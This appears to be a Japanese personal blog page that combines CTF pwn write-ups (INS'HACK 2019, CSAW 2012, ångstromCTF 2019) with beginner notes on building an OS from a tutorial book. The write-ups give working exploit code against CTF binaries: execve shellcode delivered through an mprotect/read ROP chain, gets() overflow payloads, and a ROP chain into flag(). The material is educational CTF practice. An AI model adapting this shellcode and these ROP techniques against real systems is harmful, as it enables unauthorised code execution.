INS'HACK2019 Writeup にしようとしたもの
はじめに
INS'HACK2019にチームContrailとして参加したものの1問もフラグを得られず全くチームに貢献することができなかった. Pwnで1問だけローカル環境のみでシェルの起動に成功した問題があるため,自分が取り組んだことについてまとめたい.
問題
- ropberry
You hack this guy on challenge called gimme-your-shell, but he is still always asking me the same question when I try to find his secret. Maybe you can do something. He is waiting for you at: ssh -i <your_keyfile> -p 2226 user@ropberry.ctf.insecurity-insa.fr To find your keyfile, look into your profile on this website.
バイナリの解析
$ file ropberry ropberry: ELF 32-bit LSB executable, Intel 80386, version 1 (GNU/Linux), statically linked, for GNU/Linux 2.6.24, BuildID[sha1]=3338b24648887e1839f7a07a5bfb9e4bc313bec5, not stripped
$ checksec.sh --file ropberry
RELRO STACK CANARY NX PIE RPATH RUNPATH FILE
Partial RELRO No canary found NX enabled Not an ELF file No RPATH No RUNPATH ropberry
気になったこと
- 今回与えられたファイルは静的リンクされたバイナリである.
STACK CANARY
がNo canary found
であるため,バッファオーバーフローが狙えそうである.
考えたこと
脆弱性はvuln()
内でgets()
が使用されていたため,すぐに見つかった.
その後,シェルを起動させるために,バイナリ内に存在する次のような関数を用いて1~4に示す方針を立てた.
$ readelf -s ropberry 1473: 080580d0 99 FUNC WEAK DEFAULT 6 read 1991: 08058d40 37 FUNC WEAK DEFAULT 6 mprotect
- バッファオーバーフローで
EIP
を書き換えた後,ROPchainを流し込む. mprotect
でメモリ上に存在する固定アドレスの一部に実行可能属性を付与する.read
で実行可能な領域にシェルコードを読み込むEIP
をシェルコードの先頭にする.
NX
がNX enabled
となっているが,mprotect
でメモリ領域の保護属性を変更可能であるためあまり関係がない.
- mprotect()呼び出し前
- mprotect()呼び出し後
mprotect
int mprotect(void *addr, size_t len, int prot);
気をつけること
addrはページサイズでアラインメントする必要がある.Linuxのページフレームは4KB(0x1000)境界であるため,下位12bitは0x0となる.
read
ssize_t read(int fd, void *buf, size_t count);
作成したエクスプロイトコード
from pwn import * context.log_level = "DEBUG" elf = ELF("./ropberry") mprotect_addr = elf.symbols["mprotect"] read_addr = elf.symbols["read"] fflush_addr = elf.symbols["fflush"] print "mprotect:", hex(elf.symbols["mprotect"]) print "read:", hex(elf.symbols["read"]) shellcode = b"\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80" payload = "" payload += "A" * 8 payload += p32(mprotect_addr) # mprotect payload += p32(0x0804859c) # pop3ret payload += p32(0x080ee000) # buf payload += p32(0x1000) # size payload += p32(0x7) payload += p32(read_addr) # read payload += p32(0x080ee000) # payload += p32(0x0) # stdin payload += p32(0x080ee000) # buf payload += p32(0x1000) # size p = process("./ropberry") #shell = ssh("user", "ropberry.ctf.insecurity-insa.fr", port=2226, password=None, keyfile="~/.ssh/id_inshack") #p = shell.run("sh") print(p.recv()) p.sendline(payload) p.send(b"\x90" * (0x1000-len(shellcode)) + shellcode) p.interactive()
おわりに
現時点で,リモートでシェルの起動させることができなかった原因はわからず.
記事に間違い,もしくは原因がわかる方がおられましたら連絡していただけると幸いです.
CSAW-2012 Exploitation 200 Writeup
はじめに
Pwnの練習ということでこちらのサイトに関連する問題をちびちびやっていこうと思います. ただ,ksnctfの問題もあるのですべてをWriteupとして公開はしません. また,シェルの起動が一つのゴールであるとは思いますが,何が答えなのかいまいちわかっていません.
問題リンク
解析など
ファイルの確認
$ file exploitation1-release exploitation1-release: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-, for GNU/Linux 2.6.24, BuildID[sha1]=3884e99413d7610af414a6c12ce9ee0ed4933553, with debug_info, not stripped
- 32bitのELF
- 動的リンク
セキュリティ機構の確認
$ checksec.sh --file exploitation1-release
RELRO STACK CANARY NX PIE RPATH RUNPATH FILE
Partial RELRO No canary found NX enabled Not an ELF file No RPATH No RUNPATH exploitation1-release
STACK CANARY
がNo canary found
となっているため,BOFが狙えそうです.
シンボル情報の確認
$ readelf -r exploitation1-release 再配置セクション '.rel.dyn' at offset 0x550 contains 1 entry: オフセット 情報 型 シンボル値 シンボル名 0804aff0 00000c06 R_386_GLOB_DAT 00000000 __gmon_start__ 再配置セクション '.rel.plt' at offset 0x558 contains 28 entries: オフセット 情報 型 シンボル値 シンボル名 0804b000 00000107 R_386_JUMP_SLOT 00000000 setsockopt@GLIBC_2.0 0804b004 00000207 R_386_JUMP_SLOT 00000000 strcmp@GLIBC_2.0 0804b008 00000307 R_386_JUMP_SLOT 00000000 printf@GLIBC_2.0 0804b00c 00000407 R_386_JUMP_SLOT 00000000 __isoc99_fscanf@GLIBC_2.7 0804b010 00000507 R_386_JUMP_SLOT 00000000 inet_ntoa@GLIBC_2.0 0804b014 00000607 R_386_JUMP_SLOT 00000000 getuid@GLIBC_2.0 0804b018 00000707 R_386_JUMP_SLOT 00000000 htons@GLIBC_2.0 0804b01c 00000807 R_386_JUMP_SLOT 00000000 perror@GLIBC_2.0 0804b020 00000907 R_386_JUMP_SLOT 00000000 accept@GLIBC_2.0 0804b024 00000a07 R_386_JUMP_SLOT 00000000 waitpid@GLIBC_2.0 0804b028 00000b07 R_386_JUMP_SLOT 00000000 setgid@GLIBC_2.0 0804b02c 00000c07 R_386_JUMP_SLOT 00000000 __gmon_start__ 0804b030 00000d07 R_386_JUMP_SLOT 00000000 exit@GLIBC_2.0 0804b034 00000e07 R_386_JUMP_SLOT 00000000 __libc_start_main@GLIBC_2.0 0804b038 00000f07 R_386_JUMP_SLOT 00000000 bind@GLIBC_2.0 0804b03c 00001007 R_386_JUMP_SLOT 00000000 getgid@GLIBC_2.0 0804b040 00001107 R_386_JUMP_SLOT 00000000 fopen@GLIBC_2.1 0804b044 00001207 R_386_JUMP_SLOT 00000000 fork@GLIBC_2.0 0804b048 00001307 R_386_JUMP_SLOT 00000000 sigemptyset@GLIBC_2.0 0804b04c 00001407 R_386_JUMP_SLOT 00000000 freeaddrinfo@GLIBC_2.0 0804b050 00001507 R_386_JUMP_SLOT 00000000 listen@GLIBC_2.0 0804b054 00001607 R_386_JUMP_SLOT 00000000 setuid@GLIBC_2.0 0804b058 00001707 R_386_JUMP_SLOT 00000000 socket@GLIBC_2.0 0804b05c 00001807 R_386_JUMP_SLOT 00000000 getaddrinfo@GLIBC_2.0 0804b060 00001907 R_386_JUMP_SLOT 00000000 sigaction@GLIBC_2.0 0804b064 00001a07 R_386_JUMP_SLOT 00000000 recv@GLIBC_2.0 0804b068 00001b07 R_386_JUMP_SLOT 00000000 close@GLIBC_2.0 0804b06c 00001c07 R_386_JUMP_SLOT 00000000 send@GLIBC_2.0
listen
やaccept
が見えるのでfork-server型
の問題であると予想.
実行してみる
$ chmod +x exploitation1-release $ ./exploitation1-release
- へんじがない。
fork-server型
問題のようだ。
新しいタブを開き,確認してみます.
$ netstat -antp ... Proto 受信-Q 送信-Q 内部アドレス 外部アドレス 状態 PID/Program name tcp 0 0 0.0.0.0:54321 0.0.0.0:* LISTEN 2883/./exploitation ...
- ローカルの54321ポートでプロセスが待ち受けています.
繋いでみる
$ nc localhost 54321 Wecome to my first CS project. Please type your name:
- プログラムの動作を確認できました.
脆弱性さがし
逆アセンブルしてみる
200pt問題なので,key
の内容を読み出せばよいのかな?
脆弱性とかではなさそう.strcmp()
で入力した値とAAAAAAAAAAAAAAAAAAAAAAAAAA\n
を比較しています.
比較結果が正しくない場合,keyは読み出せない模様.
$ nc localhost 54321 Wecome to my first CS project. Please type your name: Maru
このページのkeyをお借りしてkeyファイルを作成します.
$ echo "b3ee1f0fff06f0945d7bb018a8e85127" > key
その後,AAAA...\n
を入力してみます.
$ nc localhost 54321 Wecome to my first CS project. Please type your name: AAAAAAAAAAAAAAAAAAAAAAAAAA b3ee1f0fff06f0945d7bb018a8e85127
ファイルの読み出し成功!
おわりに
key
の中身を読みだせたので200ptは獲得できたと予想.
おそらく,300pt・400ptと進んで行くと脆弱性をついてシェルを起動させると思います.
うん!きっとそう!...
たぶん...
ångstromCTF 2019 Writeup
はじめに
ångstromCTF 2019 に参加した際に自分が解答した問題についてwriteupをまとめたいと思います. チームContrailとして参加しました.
エクスプロイトコードは重要な部分だけ掲載しています.
解いた問題
- Aquarium
- Chain of Rope
Aquarium
#include <stdlib.h> #include <stdio.h> #include <string.h> void flag() { system("/bin/cat flag.txt"); } struct fish_tank { char name[50]; int fish; int fish_size; int water; int width; int length; int height; }; struct fish_tank create_aquarium() { struct fish_tank tank; printf("Enter the number of fish in your fish tank: "); scanf("%d", &tank.fish); getchar(); printf("Enter the size of the fish in your fish tank: "); scanf("%d", &tank.fish_size); getchar(); printf("Enter the amount of water in your fish tank: "); scanf("%d", &tank.water); getchar(); printf("Enter the width of your fish tank: "); scanf("%d", &tank.width); getchar(); printf("Enter the length of your fish tank: "); scanf("%d", &tank.length); getchar(); printf("Enter the height of your fish tank: "); scanf("%d", &tank.height); getchar(); printf("Enter the name of your fish tank: "); char name[50]; gets(name); strcpy(name, tank.name); return tank; } int main() { gid_t gid = getegid(); setresgid(gid, gid, gid); setvbuf(stdin, NULL, _IONBF, 0); setvbuf(stdout, NULL, _IONBF, 0); struct fish_tank tank; tank = create_aquarium(); if (tank.fish_size * tank.fish + tank.water > tank.width * tank.height * tank.length) { printf("Your fish tank has overflowed!\n"); return 1; } printf("Nice fish tank you have there.\n"); return 0; }
方針
gets()が使用されているためバッファオーバーフローが狙えそうです.gets()はマニュアルにあるように 使用すべきでない 関数です.なぜなら,入力長をチェックしないため改行(もしくはEOF)まで入力を受け続けるからです.
エクスプロイトコード
def main(): payload = "A" * 152 payload += p(0x4011b6) # 通信部分 #read_until(s, "") read_until(s, "Enter the number of fish in your fish tank: ") s.sendall("1\n") read_until(s, "Enter the size of the fish in your fish tank: ") s.sendall("0\n") read_until(s, "Enter the amount of water in your fish tank: ") s.sendall("1\n") read_until(s, "Enter the width of your fish tank: ") s.sendall("1\n") read_until(s, "Enter the length of your fish tank: ") s.sendall("1\n") read_until(s, "Enter the height of your fish tank: ") s.sendall("1\n") read_until(s, "Enter the name of your fish tank: ") s.sendall(payload + "\n") sleep(1) print[s.recv(1024)]
Chain of Rope
#include <stdlib.h> #include <stdio.h> #include <string.h> int userToken = 0; int balance = 0; int authorize () { userToken = 0x1337; return 0; } int addBalance (int pin) { if (userToken == 0x1337 && pin == 0xdeadbeef) { balance = 0x4242; } else { printf("ACCESS DENIED\n"); } return 0; } int flag (int pin, int secret) { if (userToken == 0x1337 && balance == 0x4242 && pin == 0xba5eba11 && secret == 0xbedabb1e) { printf("Authenticated to purchase rope chain, sending free flag along with purchase...\n"); system("/bin/cat flag.txt"); } else { printf("ACCESS DENIED\n"); } return 0; } void getInfo () { printf("Token: 0x%x\nBalance: 0x%x\n", userToken, balance); } int main() { gid_t gid = getegid(); setresgid(gid, gid, gid); setvbuf(stdin, NULL, _IONBF, 0); setvbuf(stdout, NULL, _IONBF, 0); char name [32]; printf("--== ROPE CHAIN BLACK MARKET ==--\n"); printf("LIMITED TIME OFFER: Sending free flag along with any purchase.\n"); printf("What would you like to do?\n"); printf("1 - Set name\n"); printf("2 - Get user info\n"); printf("3 - Grant access\n"); int choice; scanf("%d\n", &choice); if (choice == 1) { gets(name); } else if (choice == 2) { getInfo(); } else if (choice == 3) { printf("lmao no\n"); } else { printf("I don't know what you're saying so get out of my black market\n"); } return 0; }
方針
問題のソースコードを見た第一印象は めんどくs 複雑な処理をしているなと感じました.
ROPで引数を渡しながら関数を順に呼び出す方法も考えられましたが,gets()のバッファオーバーフローを利用してflag()の途中(0x401231
)へ処理を飛ばしました.
エクスプロイトコード
def main(): payload = "A" * 56 payload += p(0x401231) # 通信部分 read_until(s, "access") s.sendall("1\n") s.sendall(payload + "\n") sleep(1) print [s.recv(1024)]
別解
別解というよりはこちらが想定解だと思われます.
def main(): payload = "A" * 56 payload += p(0x401196) # authorize payload += p(0x401403) # pop_rdi_ret payload += p(0xdeadbeef) # arg1 payload += p(0x4011ab) # addBalance payload += p(0x401403) # pop_rdi_ret payload += p(0xba5eba11) # arg1 payload += p(0x401401) # pop_rsi_pop_r15_ret payload += p(0xbedabb1e) # arg2 payload += p(0xdeadbeef) # dummy payload += p(0x4011eb) # flag # 通信部分 read_until(s, "access") s.sendall("1\n") s.sendall(payload + "\n") sleep(1) print s.recv(1024)
まとめ
今回解答できた問題はどちらも同じ手法であったため,より多くの手法を身に付けてチームに貢献したいと思います.
30日でできる! OS自作入門 ~1日目~ その2
はじめに
下記の続きです.今回は1日目の作業を終わらせたいと思います.
作業
2. 結局何をやったのだろうか
メモ
PCを構成する装置
- 中央処理装置
- 主記憶装置
- 補助記憶装置
- 入力装置
- 出力装置
3. アセンブラ初体験
(30日でできる! OS自作入門 ~1日目~ その1 - m412uのメモ)ではバイナリエディタを使ってhelloos.imgを作成しました.
しかし,今回からはアセンブラを用いて同じファイルを作るみたいです.
ただし,3. アセンブリ初体験
は長すぎるのでアセンブラ記述は飛ばします.
4. もうちょっと書き直してみる
アセンブリコード
;; hello-os ;; TAB=4 ;; FAT12フォーマットフロッピーディスク用の記述 DB 0xeb, 0x4e, 0x90 DB "HELLOIPL" ; ブートセクタの名前 DW 512 ; 1セクタの大きさ DB 1 ; クラスタの大きさ DW 1 ; FATの開始位置 DB 2 ; FATの個数 DW 224 ; ルートディレクトリ領域の大きさ DW 2880 ; ドライブの大きさ DB 0xf0 ; メディアのタイプ DW 9 ; FAT領域の長さ DW 18 ; 1トラック中のセクタ数 DW 2 ; ヘッドの数 DD 0 ; パーティションを使用していなければ0 DD 2880 ; ドライブの大きさ DB 0, 0, 0x29 ; 固定値? DD 0xffffffff ; ボリュームシリアル番号? DB "HELLO-OS " ; ディスク名 DB "FAT12 " ; フォーマット名 RESB 18 ; 18バイト空ける ;; プログラム本体 DB 0xb8, 0x00, 0x00, 0x8e, 0xd0, 0xbc, 0x00, 0x7c DB 0x8e, 0xd9, 0x8e, 0xc0, 0xbe, 0x74, 0x7c, 0x8a DB 0x04, 0x83, 0xc6, 0x01, 0x3c, 0x00, 0x74, 0x09 DB 0xb4, 0x0e, 0xbb, 0x0f, 0x00, 0xcd, 0x10, 0xeb DB 0xee, 0xf4, 0xeb, 0xfd ;; メッセージ部分 DB 0x0a, 0x0a DB "Hello, world" DB 0x0a DB 0 RESB 0x1fe-($-$$) DB 0x55, 0xaa ;; ブートセクタ以外 DB 0xf0, 0xff, 0xff, 0x00, 0x00, 0x00, 0x00, 0x00 RESB 4600 DB 0xf0, 0xff, 0xff, 0x00, 0x00, 0x00, 0x00, 0x00 RESB 1469432
サンプルコードと異なる部分が1つあるみたいです.
それは,41行目のRESB 0x1fe-$
がRESB 0x1fe-($-$$)
となっている点です.
アセンブラはnasm
を使います.
nasmのインストール
$ sudo apt install nasm
$ nasm hello-os.s -o hello-os.img hello-os.s:24: warning: uninitialized space declared in .text section: zeroing hello-os.s:41: warning: uninitialized space declared in .text section: zeroing hello-os.s:48: warning: uninitialized space declared in .text section: zeroing hello-os.s:50: warning: uninitialized space declared in .text section: zeroing
実行
$ qemu-system-i386 -fda hello-os.img
その1と同じ画面が出力されました.
もう少し詳しく
- nasmとnaskの違い
http://hrb.osask.jp/wiki/?tools/nask
- FATファイルシステムに関する記事
まとめ
前回挑戦した際は5日目ぐらいまでいけたのでそこまではスムーズに進めそう.
参考
30日でできる! OS自作入門 ~1日目~ その1
はじめに
「30日でできる!」という文言に惹かれて以下の本を購入しました.
実は一度挫折しているので,今回もどうなるかわかりません.
— Maru (@GmS944y) November 22, 2018
書いている人間の技術力が低いので,間違った記述が多々出てくると思われます.その際は優しく指摘してください.
環境
本の中ではWindowsを開発環境として話が進んでいますが,自分はUbuntu 18.04 の 64bitで作業を進めて行きたいと思います.理由は自分の持っているPCのOSがUbuntuだからというだけです.
$ uname -a Linux ubuntu 4.15.0-46-generic #49-Ubuntu SMP Wed Feb 6 09:33:07 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux
作業
1. とにかくやるのだぁ
バイナリエディタを使用するのでインストール
$ sudo apt install ghex
バイナリエディタで1,474,560バイトを入力し続けるのはさすがに心が折れるので,先にPythonで1,474,560バイトのファイルを作成します.
$ python -c 'print("\x00"*1474560)' > helloos.img $ du -b helloos.img 1474561 helloos.img
これだと,1バイト大きいみたい. なので,1バイト減らします.
$ python -c 'print("\x00"*1474559)' > helloos.img $ du -b helloos.img 1474560 helloos.img
その後,バイナリエディタを使って必要な部分を書き換えます.
せっかくなのでhello, world
の1文字目を大文字で.
H
は16進数で0x48なので0x68 -> 0x48
へ変更.
実行
エミュレータをインストール.
$ sudo apt install qemu
実行
$ qemu-system-i386 -fda helloos.img
まとめ
Markdownに慣れていないので,記事を書く方に時間がかかってしまった.
参考
学内でPwn入門用の勉強会を開催した際の資料
去年の11月ごろに学内で開催した勉強会で使用した資料をアップしました。 内容はPwnの概要です。